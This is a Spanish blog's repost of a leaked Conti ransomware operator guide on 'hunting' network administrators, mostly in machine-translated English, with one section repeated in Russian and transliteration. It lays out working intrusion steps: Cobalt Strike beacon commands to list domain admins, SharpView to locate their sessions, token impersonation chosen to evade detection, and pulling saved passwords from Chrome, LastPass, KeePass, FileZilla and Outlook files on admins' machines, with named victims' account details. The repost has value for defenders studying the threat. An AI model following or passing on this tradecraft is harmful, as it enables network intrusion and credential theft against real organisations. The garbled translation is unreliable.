Un vistazo al «kung fu» de Conti hackplayers

“ Huntim admin.

And so, if we have servers \ USS \ tapes or cloud storages where backups are stored, but there is no access, then we need credits that only the admin has.
Accordingly, we need to hunt him. Usually in those networks where we work admins 1-2-3, no more.
People are divided into 3 types of positions:

Senior
Medium
Junior

Of course, we are interested in seniors, since they have more privileges / accesses (read passwords).

To begin with, I will write several options for how to determine the accounts of those very administrators who have passwords on board.

Part 1::
Option number 1:
Interrogating YES

“`

beacon> shell net group “domain admins” /domain

Tasked beacon to run: net group “domain admins” /domain
host called home, sent: 64 bytes
received output:

La demande sera traitée sur contrôleur de domaine du domaine DOMAIN.com.

Nom de groupe Domain Admins
Commentaire Designated administrators of the domain

Membres

——————————————————————————-
Administrator ClusterSvc createch
Createch2 d01adm da9adm
p01adm PMPUser q01adm
repl s01adm Sapserviced01
SAPServiceDA9 sapservicep01 SAPServiceQ01
sapservices01 SAPServiceSND SAPServiceSOL
services services2 sndadm
soladm somadm staseb
telnet Johnadm
La commande s’est terminée correctement.

“`

We look and see with our eyes filtering service accounts and non-service ones.
Service from the list above is for example
“,
SAPServiceDA9
services
telnet
servies2
Sapservice01

“`

Which accounts will most likely suit us:
“`staseb
Johnadm
“`
They were recorded.

We can see who they are in adfind_persons.txt

or through the command
“ ” shell net user staseb / domain
“,

See example:
“`

beacon> shell net user ebernardo /domain

Tasked beacon to run: net user ebernardo /domain
host called home, sent: 57 bytes
received output:

User name ebernardo
Full Name Eric Bernardo
Comment
User’s comment
Country/region code (null)
Account active Yes
Account expires Never

Password last set 2020-12-08 12:05:15 PM
Password expires 2021-06-06 12:05:15 PM
Password changeable 2020-12-08 12:05:15 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 2021-01-29 2:25:24 PM

Logon hours allowed All

Local Group Memberships *Administrators *Remote Desktop Users
*Server Operators
Global Group memberships *US Users *Great Plains Users
*Citrix Group *VPN Users Saskatoon
*Admins – AD Basic *VPNUsersHeadOffice
*Executives *All Winnipeg Staff
*Scribe Console Users *Domain Admins
*VPN Users USA *Workstation.admins
*Domain Users
The command completed successfully.

“`

We look at who he is – he is in a dozen groups, SOMETIMES in the Comment column they write who he is – engineer \ system administrator \ support \ business consultant.
in Last Logon, the account must be ACTIVE – that is, last logon today \ yesterday \ this week, but not a year ago or Never.
If it is not clear who this is after the survey, see adfind + check linkedin (section below).

So 2-3-5 uchetok as a result you get out of the domain of administrators and you question everyone and should have an idea of ​​who he is. As a result of 1-2-3 accounting, it turns out to find who can be an administrator.

Option number 2:
Turning into home analysts – watching Adfind.
We are interested in the adfind_groups file
We go in, we see a bunch of text
Press Ctrl + F (Notepad2 / Geany)
Introduce
,,, dn: CN =
“,
And the button Find All in current document.

at the output we get ABOUT the following (I cut out a piece and left 10-20 lines, usually there are from 100 to 10,000 lines)
“,

adfind_groups:3752: dn:CN=SQLServer2005SQLBrowserUser$TRUCAMTLDC,CN=Users,DC=domain,DC=com
adfind_groups:3775: dn:CN=clubsocial,CN=Users,DC=domain,DC=com
adfind_groups:3800: dn:CN=Signature Intl-Special,OU=Groupes,OU=Infra,DC=domain,DC=com
adfind_groups:3829: dn:CN=FIMSyncAdmins,CN=Users,DC=domain,DC=com
adfind_groups:3852: dn:CN=GRP-GRAPHISTE,OU=FG-GRP,DC=domain,DC=com
adfind_groups:3877: dn:CN=IT,CN=Users,DC=domain,DC=com
adfind_groups:3902: dn:CN=MSOL_AD_Sync_RichCoexistence,CN=Users,DC=domain,DC=com
adfind_groups:3925: dn:CN=WinRMRemoteWMIUsers__,CN=Users,DC=domain,DC=com
adfind_groups:3946: dn:CN=EDI,CN=Users,DC=domain,DC=com
adfind_groups:3967: dn:CN=Signature Canada,OU=Groupes,OU=Infra,DC=domain,DC=com
adfind_groups:4037: dn:CN=Signature USA,OU=Groupes,OU=Infra,DC=domain,DC=com

“`
And so, we have extracted the active directory groups.
What is interesting for us here and why we did it – in active directroy everything is structured and in USA EU networks everything is done as transparently as possible with comments, notes, copycards, etc.
We are interested in a group that deals with IT, administration, LAN engineering.
What was given to us after the search – we put it in a new notebook and do a search for the following key words:
“,
IT
Admin
engineer
—–
“,

In the example above, we find the following line
“,
adfind_groups:3877: dn:CN=IT,CN=Users,DC=domain,DC=com
“`

Go to line 3877 in adfind_Groups.txt and see the following:
“`

dn:CN=IT,CN=Users,DC=domain,DC=com
>objectClass: top
>objectClass: group
>cn: IT
>description: Informatique
>member: CN=MS Surface,OU=IT,DC=domain,DC=com
>member: CN=Gyslain Petit,OU=IT,DC=domain,DC=com
>member: CN=ftp,CN=Users,DC=domain,DC=com
>member: CN=St-Amand\, Sebastien\, CDT,OU=IT,DC=domain,DC=com
“`
We skip ftp and MS Surface users, but we take Gyslain Petit and St Amand Sebastien into circulation.
Next, open ad_users.txt
Introducing Gyslain Petit
We find a user with the following information:
“,
dn:CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>objectClass: top
>objectClass: person
>objectClass: organizationalPerson
>objectClass: user
>cn: Gyslain Petit
>sn: Petit
>title: Directeur, technologie de l’information
>physicalDeliveryOfficeName: 217
>givenName: Gyslain
>distinguishedName: CN=Gyslain Petit,OU=IT,DC=trudeaucorp,DC=com
>instanceType: 4
>whenCreated: 20020323153742.0Z
>whenChanged: 20201212071143.0Z
>displayName: Gyslain Petit
>uSNCreated: 29943
>memberOf: CN=GRP_Public_USA_P,OU=Securite-GRP,DC=trudeaucorp,DC=com
>memberOf: CN=GRP-LDAP-VPN,OU=FG-GRP,DC=trudeaucorp,DC=com
>memberOf: CN=IT Support,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=Directeurs,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=GRP-IT,OU=FG-GRP,DC=trudeaucorp,DC=com
>memberOf: CN=Signature Canada,OU=Groupes,OU=Infra,DC=trudeaucorp,DC=com
>memberOf: CN=EDI,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=IT,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=TRUDEAU-MONTREAL,CN=Users,DC=trudeaucorp,DC=com
>memberOf: CN=everyone,CN=Users,DC=trudeaucorp,DC=com
>uSNChanged: 6908986
>department: IT Manager
“`
We look at the title and who we have here? Director of Information Technology. It would seem like a bull’s-eye, but the director does not always have passwords, but the System Administrator does.
Therefore, we carry out similar manipulations for the second user and more. At home (= in the conf), we make notes of who is who and write down the logins from the adfind (sAMAccountname) like this:
“ ‘> sAMAccountName: gpetit
“,

“,
gpetit – Director of IT
staseb – such and such
“,

The second part of option # 2 (Simplified):
We look initially at adfind_users.txt
We do a search by
“ ‘title:
description
departament
“`
If you’re lucky, the posts will be directly written there. In my test case, it looks like this:

“,
adfind_persons:280: >title: Responsable, logistique direct import
adfind_persons:1836: >title: Chef des services techniques
adfind_persons:1955: >title: Chef comptable
adfind_persons:4544: >title: Directeur, technologie de l’information
adfind_persons:6064: >title: Présidente
adfind_persons:6191: >title: Chargée de projets, mise en marché
adfind_persons:6285: >title: Directrice marketing
adfind_persons:6848: >title: Coordonnatrice à la logistique
adfind_persons:6948: >title: Responsable de l’expedition
“`

Accordingly, we run our eyes and the accounts are found.

And so, these are easy methods. Consider alternative searches for admin accounts.
I know so far only 1 method of the simple ones – linkedin
We drive a request into Google
“,
NASHERTVA.COM linkedin
“,
instead of a domain – insert the domain of the office.

Go to Members
We do a search there by
“,
System
Admin
Engineer
Network
It
“`
If someone has a first name + last name, then we drive it into the advfind and the account is found.
If you know more effective methods – please write @rozetka

And so, part number 1 is over.

Getting started with admin hunt and inspection

Part # 2:
Huntim admin as standard via SharpView
SharpView.exe can be taken in the conference from your team leaders or from the software conference
The command for a hunt is as follows:
On Linux
“,
execute-assembly /home/user/soft/scripts/SharpView.exe Find-DomainUserLocation -UserIdentity gpetit
“,
On Windows>
“`
execute-assembly C:\Users\Андрей\Soft\Hacking\SharpView.exe Find-DomainUserLocation -UserIdentity gpetit
“`
where gpetit is the account of the person we’re looking for. what is written in adfinusers in sAMAccountname – we insert it here.

At the output, we get approximately the following log:

“,
UserDomain : domain
UserName : gpetit
ComputerName : DC01.domain.LOCAL
IPAddress : 172.16.1.3
SessionFrom : 192.168.100.55
SessionFromName :
LocalAdmin :

UserDomain : domain
UserName : gpetit
ComputerName : SQL01.domain.LOCAL
IPAddress : 172.16.1.30
SessionFrom : 192.168.100.55
SessionFromName :
LocalAdmin :

UserDomain : domain
UserName : gpetit
ComputerName : lptp-gpetit.domain.LOCAL
IPAddress : 172.16.1.40
SessionFrom : 192.168.100.55
SessionFromName :
LocalAdmin :

“`

And so, the log will be in an approximate format, how can we deal with it –
Firstly, how the software works – it asks where the user is currently at least somehow authorized. And our user is not simple – he is an administrator and at some point he can be authorized on 20-30-50 servers.
How can we filter and not get bogged down in this?
First, we remove the OS that are not interesting to us
for example, the first in the list DC01 is clearly DomainController01, you can check it by adfind_computers.txt or portscan 172.16.1.13 and see that it is a SERVER OS. And we need a client room.
The second one is SQL01 – DB OS. Doesn’t suit us.
Let’s look at the third one – lptp-gpetit. Hmm, our user is gpetit and lptp stands for laptop. Perhaps this is just him.
# It also happens that the admin is connected ONLY to the server OS, but in the SessionFrom column – an ip from another sabnet (for example, a VPN sabnet) where he sits quietly but SharpView did not “take” him – you can also take it into circulation.
Next is an IMPORTANT POINT.
First of all, beginners try to raise a session there and VERY OFTEN catch an alert. Alert from the admin = cutting out of the network, loss of time, nerves. This is NOT to be done!
What we’re going to do is poll it through the file system.
We do the following
“`shell net view \\172.16.1.40 /ALL
“`

На выходе видим его локальные дики
“`
C$
D$
“`
Обуваем токен(Рекомендуется именно токен, ибо pth оставляет несколько иной Event ID на домен контроллере, а это может заметить админ и выпилить нас)

Открываем File Manager в кобальте:
“`\\172.16.1.40\c$
“`

либо используем shell через
“`
shell dir \\172.16.1.40\c$“`

Смотрим что на диске C бегло
Переходим в папку
“`\\172.16.1.40\c$\Users\gpetit
“`
Na vykhode vidim yego lokal’nyye diki
“`
C$
D$
“`
Obuvayem token(Rekomenduyetsya imenno token, ibo pth ostavlyayet neskol’ko inoy Event ID na domen kontrollere, a eto mozhet zametit’ admin i vypilit’ nas)

Otkryvayem File Manager v kobal’te:
“`\\172.16.1.40\c$
“`

libo ispol’zuyem shell cherez
“`
shell dir \\172.16.1.40\c$“`

Smotrim chto na diske C beglo
Perekhodim v papku
“`\\172.16.1.40\c$\Users\gpetit
“`
At the exit we see his local wilds
“,
C $
D $
“,
We shoe the token (It is the token that is recommended, because pth leaves a slightly different Event ID on the domain controller, and this can be noticed by the admin and cut us out)

Open File Manager in cobalt:
“ `\\ 172.16.1.40 \ c $
“,

or use the shell via
“,
shell dir \\ 172.16.1.40 \ c $ “ ‘

We look at what is on the C drive fluently
Go to the folder
“ `\\ 172.16.1.40 \ c $ \ Users \ gpetit
“,

Usually, if it is REALLY the admin’s workstation, it has a lot of junk ala Virtualbox / putty / winscp etc. etc.

How can we “inspect” it, here is a list of interesting directories:

Desktop
“`\\172.16.1.40\c$\Users\gpetit\Desktop
“`
“`
\\172.16.1.40\c$\Users\gpetit\OneDrive
\\172.16.1.40\c$\Users\gpetit\Downloads
\\172.16.1.40\c$\Users\gpetit\Desktop
\\172.16.1.40\c$\Users\gpetit\Documents

“`
Here are folders with custom configurations, below is a list of what can be extracted:
“ `\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local
“`

“`\\172.16.1.40\c$\Users\gpetit\AppData\Roaming
“`

“`
\\172.16.1.40\c$\Users\gpetit\AppData\Local\Google\Chrome\User Data\Default
“`
Here is the History && Login Data from chrome.
History can be directly downloaded and viewed using DBrowser for SQLite (nix win). What is useful is to see where the admin goes, who he votes for, you can sort the history by title and find a direct NAS / Tape / vSphere, etc. VERY useful thing.
Login Data – contains logins and passwords. Encrypted (!). If it weighs 38-42kb then there is EMPTY. If it weighs more than 40-45 kb (from 100 kb to 1-2 megabytes), it means there are EXACTLY passwords. If you have the required URL with the saved password, contact your team lead.
It also happens in chrome that there are no passwords in the Login Date, but if you carefully examine the profile folder, you will find an extenstions folder and there is a lastpass. This can also happen in practice – in this case, log in via RDP at night and export passwords (either a keylogger or other options)

Similarly, you can look at the Firefox / Edge folder (I will add the paths, googling easily)

Also, system administrators often have the following folders in AppData \ Roaming && AppData \ Local:
Keepass
LastPass
“,
there their configs. We drag them, put them in a confa. if you find such a thing, it means MOST OF ALL there is a mass of those MOST necessary passwords.

It also happens that the admin stores ala right on the desktop
“ ‘access.xlsx
passwords.docx
“`
We swing, break, watch.

there is also an outlook folder
“ `\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Microsoft \ Outlook
“,
Here is the file ala
“ `[email protected] – Exchange1.ost
“,
It contains the CORRESPONDENCE of this pepper. You can download it to yourself, open the free ost viewer and see the login / outcome mail. REGULARLY it is useful to sort out difficult situations with this particular technique.
Copied simply – cut outlook.exe, copy-paste the .ost file, then the user will open outlook for himself.
“`
\\172.16.1.40\c$\Users\gpetit\AppData\Local\Filezilla
\\172.16.1.40\c$\Users\gpetit\AppData\Roaming\Filezilla
“`
Here sitemanager.xml files can be with FTP SSH credentials. Downloading, watching, throwing in confu.

Also inspect \\ 172.16.1.40 \ C $ \ ProgramData
+ Program files / x86
+ Local drives that fell out in net view \\ host / ALL
D $ etc

Also in ad_users.txt there is homeDir – we also look at it, study it.

Look like that’s it.

For what the manual was written – so as not to try to go at breakneck speed to raise the session and catch alerts from the administrator.
Our job is rather to figure out what is how it works, and not to configure brute force for all kinds of access.
Everything is already hacked, you just need to look at everything! Through the eyes of an admin!
The main task of the admin hunt is to understand where he stores passwords and to steal the database \ ekselka \ file \ textvik \ document

Fuente obtenida de: https://www.hackplayers.com/2021/08/un-vistazo-al-kung-fu-de-conti.html

Compartelo en las redes sociales

Compartir en facebook Compartir en google+ Compartir en twitter Compartir en pinterest Compartir en likedin Compartir en WhatsApp

Sobre Kamal Majaiti 1560 artículos
Administrador de sistemas e informático por vocación.

Sé el primero en comentar

Dejar una contestacion

Tu dirección de correo electrónico no será publicada.


*


Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.